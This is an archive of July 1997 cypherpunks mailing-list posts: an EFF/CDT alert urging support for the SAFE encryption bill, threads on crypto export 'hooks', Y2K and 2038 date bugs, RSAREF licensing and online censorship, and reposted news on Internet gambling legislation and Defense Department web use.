Message-ID: <v0310280cb003e84e74ec@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain




==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| | Visit Your Member of Congress during the
| |_| | |   |  _| | |_) || | | | Month of August - Help Support Privacy
|  _  | |___| |___|  _ < | | |_| and Security on the Net!!
|_| |_|_____|_____|_| \_\|_| (_)        Posted July 29, 1997

           Please forward where appropriate until September 2, 1997

                        This alert brought to you by
The Voters Telecommunications Watch, the Center for Democracy and Technology,
 the Electronic Frontier Foundation, EFF-Austin Americans for Tax Reform,
                            and Wired Magazine
_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do To Help Privacy And Security On The Internet
            - Meet Your Member of Congress, Tell Them How You Feel
      Background On The Encryption Policy Issue and HR 695, the SAFE bill
      What's At Stake in this debate
      About This Alert

_____________________________________________________________________________
LET YOUR VOICE BE HEARD...

The government is demanding that you provide guaranteed law enforcement
access to your private online communications and business transactions.

Your Congressman will be heading home for the month of August.  Now is a
great time to let him or her know that privacy on the Internet is important
to you.

Please read the ALERT below and find out what you can do to help.

________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

The FBI, CIA, NSA and other law enforcement agencies are pressuring
Congress to pass legislation to force anyone who wants to protect their
privacy on the Internet to use programs with built in "key recovery"
features -- virtual back doors which would allow law enforcement (and
anyone else sophisticated enough to find a weakness) access to your private
communications.

This effort by the Clinton Administration to force the domestic use of
government approved "key recovery" encryption represents a very real threat
to your privacy and security in the Information Age.

Fortunately, a bill known as the "Security and Freedom Through Encryption
Act" (HR 695) is making its way through the House of Representatives.  The
bill, known as SAFE, would help protect privacy and security on the
Internet by:

* Prohibiting the government from imposing key recovery or key escrow
  encryption inside the United States or abroad.
* Allowing Americans the ability to use whatever form of encryption they
  choose.
* Encouraging the widespread availability of strong, easy-to-use
  encryption technologies by relaxing cold war-era export restrictions.

SAFE enjoys support from a bi-partisan majority of 250 Members of the House
of Representatives, and has been endorsed by civil liberties and public
interest groups from both sides of the political spectrum, as well as a
broad cross section of the computer and communications industries.

The SAFE bill has recently cleared two key House committees and is expected
to be voted on by the full House of Representatives in September.

As your Representatives in Congress head home for the August recess, now is
a great time to let them know that the folks back home care about
protecting privacy on the Internet.

Please read the instructions below to find out what you can do to
participate in "Meet Your Member Month," and join the fight to protect your
right to privacy online.

________________________________________________________________________
WHAT YOU CAN DO NOW

Between August 1 and September 2, Congress will be in recess and your
Congressman will be in your area meeting with constituents at large town
hall meetings and individual appointments.  These meetings are a great
opportunity to show them that the folks back home care about
privacy on the Internet.

If you can't make a meeting, consider sending a letter or making a phone
call to your Congressman's home office.  Whatever you can do to show your
support for privacy and security on the Net will make a big difference when
the issue is voted on by the full house in September.

Instructions:

1. Visit http://www.crypto.com/member/

   Simply enter your Zip Code to:

   * Find the name and contact information for your Representative
   * Sign up to join the Adopt Your Legislator Campaign;
   * Learn about your Congressman's voting record and positions on
     the encryption issue;
   * Tips on how to set up a meeting and contacting your Congressman;
   * Links to background information on the SAFE bill, and more.

2. Forward this ALERT to your fiends and colleagues. Urge them to join
   Adopt Your Legislator campaign at http://www.crypto.com/adopt/

Two years ago, the Internet user community responded in overwhelming
numbers to the threat of censorship and joined together to defeat the
Communications Decency Act.  The ongoing debate over US encryption policy
reform is no less important, and will determine the future of privacy and
security in the Information Age.

Now is the time to join the fight, before its too late.
________________________________________________________________________
BACKGROUND ON THE ENCRYPTION POLICY ISSUE

Complete background information, including:

* A down-to-earth explanation of why this debate is important to
  Internet users
* Analysis and background on the issue
* An analysis of the Risks of Key-Recovery by leading cryptographers
* Text of the Administration draft legislation
* Text of Congressional bills to reform US encryption policy, includig SAFE
* Audio transcripts and written testimony from recent Congressional
  Hearings on encryption policy reform
* And more!

Are all available at http://www.crypto.com/
________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age,
enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration and members of the US Senate
have proposed DOMESTIC RESTRICTIONS on the ability of Americans to protect
their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

For more information on this issue and the various legislative and
administration proposals to reform US encryption policy, visit
http://www.crytpo.com/

________________________________________________________________________
ABOUT THIS ALERT

This message was brought to you by the following Internet advocacy groups
who have joined togther to educate Congress and the public about the
importance of encryption policy reform:

* the Center for Democracy and Technology -- http://www.cdt.org/
* the Voters Telecommunications Watch     -- http://www.vtw.org/
* the Electronic Fronter Foundation       -- http://www.eff.org/
* EFF-Austin                              -- http://www.eff-austin.org/
* Americans for Tax Reform                -- http://www.atr.org
* Wired Magazine		          -- http://www.wired.com/

For more information, visit http://www.crypto.com/about/
_____________________________________________________________________________
end alert 07.29.97
------------------------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Jul 1997 03:57:24 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Crypto Hooks
In-Reply-To: <v0310280bb003e90f25d0@[207.167.93.63]>
Message-ID: <199707291951.OAA24786@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0310280bb003e90f25d0@[207.167.93.63]>, on 07/29/97 
   at 11:43 AM, Tim May <tcmay@got.net> said:

>This is called "providing crypto hooks," at least in the many threads on
>this list and on Usenet where the details of this have been discussed.

>It is generally interpreted--but there has not yet been a good court case
>to test it, that I know of--that providing a "hook" or place to drop in
>crypto is a violation of the ITARs/replacements for the ITARs.

>Ditto for exporting expertise designed to circumvent the ITARs. Thus,
>RSADSI cannot tell Rivest and the others to go take a 6-month in Monte
>Carlo or Switzerland and develop the next generation there.

>Again, this interpretation has not gotten a clear test in the courts.

Well I export software on a daily basis that "provides crypto hooks". I
also provide advice and consultations to those overseas on crypto &
security related issues. Matter of fact I have someone right now working
on a Russian translation for my software (I wonder if they are still on
the verbotten list along with Cuba & Iran) an a Chinese translation has
already been completed.

I also have a clause in software license that allows anyone to use my
software for free if they live in a totalitarian country where crypto is
baned (like France perhaps USA soon).

The government can only take away our rights if we let them do it. I for
one will not be a party to Washington's criminal conspiracy to subvert the
Constitution of the United States of America.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM948OY9Co1n+aLhhAQENqQQAxgOmIcarFtzA7o/wuE+jixHexC3w5JM2
dOFVnz7qjwUCDyFwGV/NfjWNT6IT+rxby/ZGOUX6WkRax9Z2azYaD77cCih4AYys
rAZ92xDw0MafDoD7UVstURJ0xJZRToiGgxdn04i2PCnzlp1YNWm50mAUm9wrMgN8
bMHD7dTNKvU=
=6vSe
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ketcher@ix.netcom.com (Michael Ketcher )
Date: Wed, 30 Jul 1997 05:24:00 +0800
To: cypherpunks@cyberpass.net
Subject: subscribing to cypherpunks
Message-ID: <199707292115.QAA23668@dfw-ix8.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Lance Cottrell:

    Sandy Sandfort suggested I write to you about subscribing to 
cypherpunks.  How can one do it?  Thank you.

Mike Ketcher





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Wed, 30 Jul 1997 00:56:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: <5rl6e2$agc@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <Pine.SUN.3.96.970729103454.11487B-100000@beast.brainlink.com>,
Ray Arachelian  <sunder@brainlink.com> wrote:
>Also, the year 2000 isn't a leap year, but most PC's will think it is.

Sigh.  It boggles the mind how many people know the 100-year exception to the
"divisible by 4" rule, but don't know the 400-year exception to the exception.

>From http://www.boulder.nist.gov/timefreq/faq/q28.htm :

    Is the year 2000 a leap year? 

    The year 2000 will be a leap year. Century years (like 1900 and 2000)
    are leap years only if they are evenly divisible by 400. Therefore, 1700,
    1800, and 1900 were not leap years, but the year 2000 will be a leap year.

    To understand this, you need to know why leap years are necessary in
    the first place. Leap years are necessary because the actual length of
    a year is 365.242 days, not 365 days, as commonly stated. Therefore,
    on years that are evenly divisible by 4 (like 1992, for example) an
    extra day is added to the calendar on February 29th. However, since the
    year is slightly less than 365.25 days long, adding an extra day every
    4 years results in about 3 extra days being added over a period of 400
    years. For this reason, only 1 out of every 4 century years is considered
    as a leap year.

Note that (from http://www.boulder.nist.gov/timefreq/ :)

    The Time and Frequency Division is an operating unit of the Physics
    Laboratory of the National Institute of Standards and Technology
    (NIST). Located in Boulder,Colorado at the NIST Boulder Laboratories,
    the Time and Frequency Division:

    o Maintains the primary frequency standard for the United States.
    o Develops and operates standards of time and frequency.
    o Coordinates U. S. T&F standards with other world standards.
    o Provides time and frequency services for United States clientele.
    o Performs research in support of improved standards and services.

So if NIST says 2000 will be a leap year, that would seem to be "official"
(at least for the US).

   - Ian "who's going to be sorry he bothered responding"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 05:07:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Crypto Hooks
In-Reply-To: <v0310280bb003e90f25d0@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970729163658.23235C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Tim May wrote:

> This is called "providing crypto hooks," at least in the many threads on
> this list and on Usenet where the details of this have been discussed.

I wonder what will happen with future operating systems that use the
everything is an object approact - where one can simply call ANY method in
an object...  (Sort of like OpenDOC, if it didn't die...) of course some
methods will be marked as private, but supposing that someone forgot to
mark a method as private... say somewhere in the core of the OS, right
before the TCP stack. <evil grin> 

And suppose you could patch that code with code that uh, compresses, yeah,
that's the ticket, uh, compresses it with a very slow and shitty
compression algorithm that need, uh, a compression dictionary (key) to
decompress, yeah, that's the ticket. :) 

And suppose everyone wrote their apps and operating systems to be
patchable in this way....

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 30 Jul 1997 05:06:55 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Declan Does Boylove
In-Reply-To: <Pine.GSO.3.95.970729100418.25915E-100000@well.com>
Message-ID: <v03007800b00405677c39@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Now *this* is a Subject: line I never expected to see flash across my screen...

Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
appear as well.

Banning images or text because they might lead to impure thoughts or even
criminal actions is odd. It makes individuals *less* responsible for what
they do, and refuses to admit the possibility of free will...

-Declan


At 12:17 -0700 7/29/97, Mike Duvos wrote:
>Declan writes:
>
>[snip]
>
>Very nice article.
>
>>    "They shouldn't be doing these things with the children's pictures,"
>>     Cox says.
>
>Cough.  One wonders why these nuts spend so much of their time worrying
>about what they imagine others to be aroused by, and why they embrace the
>doctrine of "vicarious long-distance molestation" whenever they think an
>otherwise ordinary photograph has been the victim of some random
>stranger's impure thoughts.
>
>Such nonsense is central to the doctrine of radical feminists like Andrea
>Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
>why such individuals aren't laughed out of the auditorium immediately.
>
>Anyone want to wager whether http://netlynews.com/ is the newest addition
>to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :)
>
>--
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     enoch@zipcon.com   $    via Finger                       $
>         {Free Cypherpunk Political Prisoner Jim Bell}



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0104.myriad.ml.org (Matthew Ghio)
Date: Wed, 30 Jul 1997 08:03:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: <199707292351.QAA24907@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
> And don't forget about the year 2038 problem

This is probably more serious than the year 2000 problem.  Unix/posix has
become the de facto standard operating system.  Apple has already migrated
to a unix/mach kernel.  Even Microsoft's NT has substantial amounts of
unix-derived code.  You're kidding yourself if you think this software
won't be around in some form fourty years from now.

The fix is (seemingly) simple:
  typedef unsigned long int time_t;

Which will give you a year 2106 problem instead. :)

That'll at least fix most email systems.  InterNetNews will need a bit
more work to prevent it from trashing its history file come 3:14am
on January 19, 2038.

"Death of usenet predicted; film at 11..."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 05:04:07 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Declan Does Boylove
In-Reply-To: <Pine.LNX.3.95.970729125238.28389A-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.SUN.3.96.970729165047.23235D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Alan wrote:

> Don't you know that taking someones picture captures a part of their soul
> and that if you concentrate hard enough you can actually cause them harm?

"Don't you know that taking a picture of my license plate will capture a
piece of my soul and cause me harm?  Ossifer, it's against my religion to
allow you to photograph, videotape, or otherwise record my likeness."

(Okay, was a nice try anyway...) :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 30 Jul 1997 08:20:20 +0800
To: cypherpunks@cyberpass.net
Subject: Thoughtcrime
In-Reply-To: <19970729191728.25870.qmail@zipcon.net>
Message-ID: <v0310280cb004372f80c1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:50 PM -0700 7/29/97, Declan McCullagh wrote:
>Now *this* is a Subject: line I never expected to see flash across my
>screen...
>
>Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
>appear as well.
>
>Banning images or text because they might lead to impure thoughts or even
>criminal actions is odd. It makes individuals *less* responsible for what
>they do, and refuses to admit the possibility of free will...
>


One word explains this and similar laws: "thoughtcrime."



--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 30 Jul 1997 08:22:29 +0800
To: Matthew Ghio <ghio@temp0104.myriad.ml.org>
Subject: Re: y2k problem *serious*
In-Reply-To: <199707292351.QAA24907@myriad.alias.net>
Message-ID: <Pine.LNX.3.95.970729170646.1036C-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Matthew Ghio wrote:

> Which will give you a year 2106 problem instead. :)
> 
> That'll at least fix most email systems.  InterNetNews will need a bit
> more work to prevent it from trashing its history file come 3:14am
> on January 19, 2038.
> 
> "Death of usenet predicted; film at 11..."

It just means that some of us will still be around when it all comes
crashing down around us.

Short sightedness will be a problem long into the future and beyond.  With
current management trends, it should actually escalate.  Soon the networks
of the world will resemble "Information Rope Bridges" like in some jungle
adventure movie.  You fear to use them because they might snap and send
your data hurling to its death at the bottom of /dev/null.  And to shore
up the problem, we will get more "quality initiatives", quick fixes
filtered through "media awareness", and more useless gunge.  And it will
all be held together by a couple of engineers who will get fired because
they did not have the right attitude or refused to wear a neck-tie.

The death of the net will not be caused by hidden date problems or
anything publicised.  The last words for the net will be someone from
marketing saying "what does this red button do?.

But remember:

"Future events like these will happen to you in the future."

(Sorry for the rambling...  Going insane installing Oracle on a Sparc...)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Dierks <timd@consensus.com>
Date: Wed, 30 Jul 1997 08:35:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Attorneys: RSA patent invalid
In-Reply-To: <v03110749affe405c040d@[139.167.130.248]>
Message-ID: <v03110711b00437735393@[157.22.254.113]>
MIME-Version: 1.0
Content-Type: text/plain



Michael C Taylor <mctaylor@nb.sympatico.ca> wrote:
>At 05:29 PM 23/07/97 -0700, you wrote:
> >$25K upfront is prohibitively expensive for freeware and
> >for garage-shop programmers.  It's a drop in the bucket for a
> >large project such as Netscape that wants to add some security,
> >but in a 3-person-month email widget it's excessive.
> >
> >On the other hand, it's now possible to license RSAREF for a much
> >more reasonable fee from Concentric; I think it's just per-copy
> >rather than a big up-front hit.
>
> As of March, 1997 Consensus Development (www.consensus.com) stopped
> licensing RSAREF for a very reasonable amount (~$200 US + 2-3% range I
> think it was??)
>
> Consensus' "SSL Plus" toolkit requires licensee to also license BSAFE from
> RSADSI.
>
> Maybe too many people were using commerical RSAREF licenses rather than the
> BSAFE toolkit.

In truth, issues surrounding the functionality and licensing requirements
of RSAREF meant that it wasn't a sustainable business for us, so we decided
to return the rights to RSA. The license fee was no upfront + 5%. While the
upfront was cheap, the percentage was significantly higher than what can be
negotiated for BSAFE from RSA. This, plus the limited functionality of the
RSAREF toolkit (both technically and due to license restrictions), meant
that most customers preferred to just get BSAFE. This limited commercial
demand is the same reason why we currently don't support RSAREF in SSL Plus.

Please cc me on any responses, as I don't read Cypherpunks any more. (I
found this posting on Bob Hettinga's e$pam).

 - Tim

Tim Dierks - timd@consensus.com - www.consensus.com
     Software Haruspex - Consensus Development
  Developer of SSL Plus: SSL 3.0 Integration Suite






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 30 Jul 1997 07:01:03 +0800
To: cypherpunks@Algebra.COM
Subject: 7-29_b8_EXTRA_Internet.html
Message-ID: <199707292306.TAA24682@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




  Tuesday
  
   July 29, 1997
   
   [1]ImageMap
   
   LA Fitness
   
                        Web gaming is 'ripe for fraud'
     _________________________________________________________________
   
   By Patrick Wilson
   Washington Bureau
     _________________________________________________________________
   
   WASHINGTON - Two senators toured Internet gambling sites Monday as
   they listened to warnings the growing online casino industry could be
   ripe for corruption and consumer fraud.
   
   Sens. Jon Kyl, R-Ariz., and Richard Bryan, D-Nev., looked on as
   Wisconsin Attorney General Jim Doyle presented what he characterized
   as questionable Web gambling sites.
   
   Doyle appeared before a Senate technology subcommittee studying a bill
   by Kyl to ban gaming on the World Wide Web.
   
   Doyle said Web gaming has grown from a "sleeping giant" to a developed
   industry that must be stopped. To demonstrate how easy it is to gamble
   online, he played a videotaped sample of online casinos such as the
   "Golden Palace," where Web surfers can use credit cards to play craps,
   keno, slots and blackjack, among other games.
   
   Doyle noted the Internet gambling industry even has its own online
   newsletter, "Rolling Good Times," which now is conducting an online
   poll where people can bet - for fun - on whether Congress will pass
   Kyl's bill.
   
   "Who knows what's on the other end of this screen?" Doyle said. "Who
   knows if those cards are fair? Who knows whether organized criminal
   activity is involved?"
   
   Bryan said he has "no confidence whatsoever that gaming on the
   Internet can be regulated now or at any time in the future."
   
   "Unlike the heavily regulated casinos in Nevada, Internet wagering is
   unregulated, and since many of these sites operate off-shore it is
   beyond the reach of U.S. authorities," he said. "Such a scenario is
   ripe for consumer fraud."
   
   Web gambling is catching on rapidly, with one estimate reporting 25
   gaming sites and 100 more in the works. Bryan called Internet betting
   "something that's kind of mushroomed."
   
   Internet users can gamble online with a credit card or by setting up
   an account. There is no way to stop children from gambling on the
   information superhighway, say supporters of the Kyl bill.
   
   "Bringing gaming directly into people's homes, as we are beginning to
   see through the Internet, is so full of potential problems and so far
   beyond the ability of any state to regulate that despite whatever
   business potential it may have it needs to be prohibited on a national
   level," Bryan said.
   
   Kyl's bill, backed by the National Association of Attorneys General,
   would punish those who set up Internet gaming Web sites with a fine of
   up to $10,000, two years in prison or both. Those who made an online
   wager would face one year in prison and a $5,000 fine.
   
   [2]| Top of page | 

References

   1. LYNXIMGMAP:http://www.dailybulletin.com/news/7-29_b8_EXTRA_Internet.html#navbar
   2. http://www.dailybulletin.com/news/7-29_b8_EXTRA_Internet.html#a





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 30 Jul 1997 07:02:20 +0800
To: cypherpunks@Algebra.COM
Subject: 0728dod.html
Message-ID: <199707292309.TAA24696@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1][ISMAP]
   [2]
   [LINK] [LINK]
   [1.][January..] ___Audio
                     ___Video __ [3][ISMAP]-[4][USEMAP]
                           [5][ISMAP]-[6][USEMAP]
                               July 29, 1997
                                      
                Internet Technology Invades Dept. Of Defense
                         (07/228/97; 4:00 p.m. EDT)
                By Saroja Girishankar, [7]CommunicationsWeek
                                      
    When it comes to embracing Web technologies, no organization in the
    world has mobilized its forces as extensively as the U.S. Department
                                of Defense.
                                      
    In what could become a textbook example for other nations and major
      businesses, the DOD's deployment of Web servers and browsers is
   expected to encompass 2 million users across an assortment of military
   and civilian agencies, making it the world's largest single community
    of Web users. To date, 1.5 million Web browsers have been installed
            across DOD's classified and nonclassified intranets.
                                      
   Already, Web servers at 16 major server sites, applications across 530
    military command sites and an additional 37 component command sites
   provide a secure environment for tens of thousands of high-level Army,
     Navy and Air Force personnel, plus the joint chiefs of staff. They
    will use it to plan military exercises, perform logistics for troop
      movement, ready medical services and other operations related to
                                  combat.
                                      
   The ultimate goal is to provide all military personnel in need with a
    single, multimedia view of military command, control, communications
    and intelligence information, regardless of where they are located,
    according to Frank Perry, technical director for the engineering and
      interoperability directorate and the joint interoperability and
                         engineering organization.
                                      
       Perry said Web technologies, from basic E-mail, newsgroups and
    Internet chat rooms to more advanced Java programs, are making that
                                 possible.
                                      
                           Extending DOD's Reach
                                      
    "The Web browser and applications have made a profound difference in
    getting more and more things to more and more people in the DOD, and
      basically have given us a broader, faster and simpler reach for
     various applications in a truly network-centric way," Perry said.
                                      
   One area where this plays out is managing the movement and deployment
                         of U.S. troops in Bosnia.
                                      
   According to Lt. General Albert Edmonds, who last month retired after
     a three-year stint as director of the Defense Information Systems
      Agency (DISA), and who oversaw the Web implementations, critical
     information related to the deployments were downloaded and easily
     replicated across secure Web servers that could be accessed by all
                             parties involved.
                                      
     Regardless of the different desktops and laptops, personnel could
    download and access information, and the distributed format reduced
    bandwidth congestion as well. Before the Web rollout, most databases
     were on mainframes and could be accessed only by a small group of
                                  people.
                                      
      The DOD, along with other government agencies, has for some time
   relied on commercial products and technologies for faster development
       and lower costs. DISA, which is responsible for operating four
     networks -- the Defense Information Systems Network (DISN), Global
   Command and Control System (GCCS), Global Combat Support System (GCCS)
        and the Defense Messaging System (DMS) -- under the umbrella
   organization called the Defense Information Infrastructure -- has been
       moving its antiquated mainframe-based networks to distributed
         [8]TCP/IP[LINK] networks and other emerging technologies.
                                      
      According to Perry, all GCCS users are being moved to Windows NT
   desktops outfitted with browsers from both Netscape Communications and
     Microsoft. This enables them to exchange E-mail and participate in
    newsgroups and Internet relay chat for planning military exercises.
                                      
   For GCCS and GCSS users who have real-time needs of even more reliable
    and secure access, existing Unix clients will be retained. Users who
   have traditionally been using Unix-client software are being gradually
   moved to thin clients that use browsers with Java applets. Over time,
            all GCSS users will also be given similar software.
                                      
   Lastly, both GCCS and GCSS are moving to Java-based applications with
     authentication and cryptographical capabilities required for high
     security. Perry said Microsoft's [9]ActiveX[LINK] has not been an
   option because it allows executable content to move around distributed
     environments in a mobile mode and raises security questions. Java
    Virtual Machine and its sandbox construction offer better assurance,
                                  he said.
                                      
    Perry said GCCS and GCSS operate over a high-security TCP/IP router
    network called the Secret Internet Protocol Router Network that has
   500 core routers as well as hundreds of routers at regional and local
    networks linked to a WAN using a [10]T3[LINK] line. A nonclassified
    network, called the Nonclassified Internet Protocol Router Network,
       which is made up of [11]ATM[LINK] switches and TCP/IP routers,
    provides the basic infrastructure for all of DOD. Although only data
    traffic now goes over ATM, plans are for future transmission of all
               voice, data and video over that cell network.
                                      
                      DMS Affected By Web Technologies
                                      
   The adoption of Web technologies is affecting plans for the DMS. Perry
      and Tom Clark, the DMS program manager, said they will adopt the
     emerging Internet Message Access Protocol 4 -- the Internet E-mail
     standard that promises to let disparate E-mail clients and servers
    talk to each other. DMS, which is expected to have 250,000 users by
      year's end and 2 million during the next few years, is an X.400
          electronic messaging backbone under construction at DOD.
                                      
   DISA said the GCCS, which replaced the older mainframe-based Worldwide
      Military Command and Control System, was completed in 21 months
    instead of the typical five years previously required. In addition,
   the agency said it expects savings of $260 million in the systems and
       operational costs of its networks during the next five years.
                                      
   "Using and adapting the commercial Web technologies permits [the DOD]
    not to spend 20 years building military-unique systems from scratch
    and it requires less training of our users," said Emmett Paige Jr.,
      president and COO at OAO, a Greenbelt, Md., systems integrator.
                                      
      Paige was the Assistant Secretary of Defense (Command, Control,
      Communications and Intelligence) until he retired last month. He
    headed the DOD's adoption of a common operating environment and the
                  move to TCP/IP and Web technologies. end
                                      
                           Related articles from:
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                       Search TechWire & CMP Archives
                           [All CMP Publications]
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                               for more info.
                                      
                      [29]Click here to visit NetGuide
                          [30][ISMAP]-[31][USEMAP]
     _________________________________________________________________
   
                                [32][USEMAP]

References

   1. http://192.215.107.71/general/logos/brandbar.gif.map
   2. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=1986&pubId=16&cmd=click_ad&position=1&campaignId=1539&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
   3. http://www.techweb.com/ads/graphics/tw/right2.map
   4. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#right2
   5. http://192.215.107.71/general/logos/secbar.map
   6. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#SECBAR
   7. http://www.techweb.com/cw
   8. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=TCP/IP
   9. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=ActiveX
  10. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=T3
  11. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=ATM
  12. http://www.techweb.com/search/search.html
  13. http://192.215.107.71/delivery/delivery.html
  14. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=4246&pubId=16&cmd=click_ad&position=TechWireTOC&campaignId=1932&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
  15. http://192.215.107.71/wire/wire.html
  16. http://192.215.107.71/wire/news/news.html
  17. http://192.215.107.71/wire/wire.html
  18. http://192.215.107.71/wire/industry/industry.html
